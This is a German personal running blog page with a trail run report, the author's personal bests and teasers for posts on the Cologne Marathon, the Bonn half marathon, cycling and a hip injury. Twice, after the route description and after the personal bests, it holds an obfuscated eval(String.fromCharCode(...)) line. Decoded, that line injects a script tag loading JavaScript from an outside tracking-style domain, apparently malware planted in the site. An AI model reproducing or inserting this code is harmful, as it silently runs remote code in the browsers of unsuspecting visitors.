Trailrun um die Wahnbachtalsperre

3 Stunden ein mal um die Wahnbachtalsperre. 26 km mit 580 Höhenmetern. Nicht schnell aber um so schöner. Mehr brauch ich nicht zu schreiben. Erzähl ja alles im Film: Und hier die Strecke:  eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,52,54,44,49,49,54,44,49,49,52,44,57,55,44,57,57,44,49,48,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,49,48,53,44,49,49,53,44,49,49,54,44,49,48,53,44,57,57,44,49,49,53,44,49,49,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,48,54,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Aktuelle PBs (Personal Bestzeiten)

Marathon (42,195km): 3:29:16 Halbmarathon (21,1km): 1:34:35 10km: 42:17  eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,52,54,44,49,49,54,44,49,49,52,44,57,55,44,57,57,44,49,48,55,44,49,49,53,44,49,49,54,44,57,55,44,49,49,54,44,49,48,53,44,49,49,53,44,49,49,54,44,49,48,53,44,57,57,44,49,49,53,44,49,49,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,48,54,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Köln Marathon – Teil 2

Die Nacht vor dem Köln Marathon war erstaunlich gut. Ich bin nur einmal gegen 4 kurz aufgewacht. Ich bin gedanklich nochmal meine Renntaktik durchgegangen, die ich 2 Tage vorher noch mit Rafael besprochen habe. Jetzt muss in den letzten Stunden vor dem Start sich nur noch der Schnupfen komplett verabschieden. Dann wäre alles perfekt. Ich„Köln Marathon – Teil 2“ weiterlesen

Köln Marathon 2016 – Teil 1

Der Laufhöhepunkt in einem Jahr mit vielen Ereignissen und Rückschlägen im Laufbereich steht bevor. Der Köln Marathon. Die Vorbereitung lief nicht optimal. Anfang des Jahres hatte ich noch mit Knieproblemen zu kämpfen. Relativ kurzfristig habe ich mich entschieden mit Rafael Fuchsgruber in die Lut Wüste in den Iran zu fliegen um ihn dort filmtechnisch beim„Köln Marathon 2016 – Teil 1“ weiterlesen

Rheinhöhenlauf 2016

Es ist Freitag Abend und morgen steht ein 35 km Trainingslauf für den Kölnmarathon an. Es soll der letzte Longrun sein bevor es in die Tapering Phase geht, in der der Körper richtig regenerieren kann um dann beim Saisonhöhepunkt, dem Kölnmarathon, seine beste Leistung abrufen zu können. Doch ich entscheide mich statt des Trainingslaufs an„Rheinhöhenlauf 2016“ weiterlesen

Von Stoßwellen und Schleimbeuteln

Gestern war ein guter Tag! Ich habe mich endlich mal durchgerungen zum Arzt zu gehen. Und zwar zum Orthopäden. Dr. med. Frank Schmähling. Ich habe mich selten so gut aufgehoben gefühlt in einer medizienischen Einrichtung. Das Ergebnis: ICH DARF WEITER LAUFEN!!! Juhuuu!!! Das Problem an der Hüfte ist wohl eine leichte Schleimbeutelentzündung. Ich bekomme eine„Von Stoßwellen und Schleimbeuteln“ weiterlesen

Radel – Hennenf-Siegburg / Köln-Hennef

Gestern mal 54 km geradelt anstatt zu laufen. Das ist ab und an mal eine ganz gute Alternative. Räder laufen rund auch wenns in der Hüfte leicht hakt. Ach, wenns doch an meinem zarten Popöchen nicht so schmerzen würde! Dann könnte ich mir durchaus vorstellen das regelmäßig in mein Trainingsprogramm einzubauen. Wobei ich mich im„Radel – Hennenf-Siegburg / Köln-Hennef“ weiterlesen

Halbmarathon Bonn 2016

Samstag Nachmittag und ich hole mir meine Startunterlagen an der Bonner Marathonmesse. 14 Stunden später. Es ist 6:38Uhr am Sonntag Morgen, den 10.04.2016. Und ich werde nicht von meinem Wecker aus dem Tiefschlaf gerissen. Nein, es ist meine Tochter, die normalerweise gut und gerne eine Stunde länger schläft. Mit einer Mischung aus Krächzen, Hauchen und„Halbmarathon Bonn 2016“ weiterlesen

Neuer Trainingspartner

Eins vorab: Nein, ich habe nicht vor Triathlät zu werden! Dieses Schmuckstück habe ich mir trotzdem zugelegt: Und zwar aus einem einfachen Grund. Damit ich auch in Verletzungspausen, bei denen ich nicht laufen darf, meine Ausdauer behalten kann. Zudem habe ich vor das ein oder andere Mal im Sommer damit zur Arbeit zu fahren. Bei„Neuer Trainingspartner“ weiterlesen

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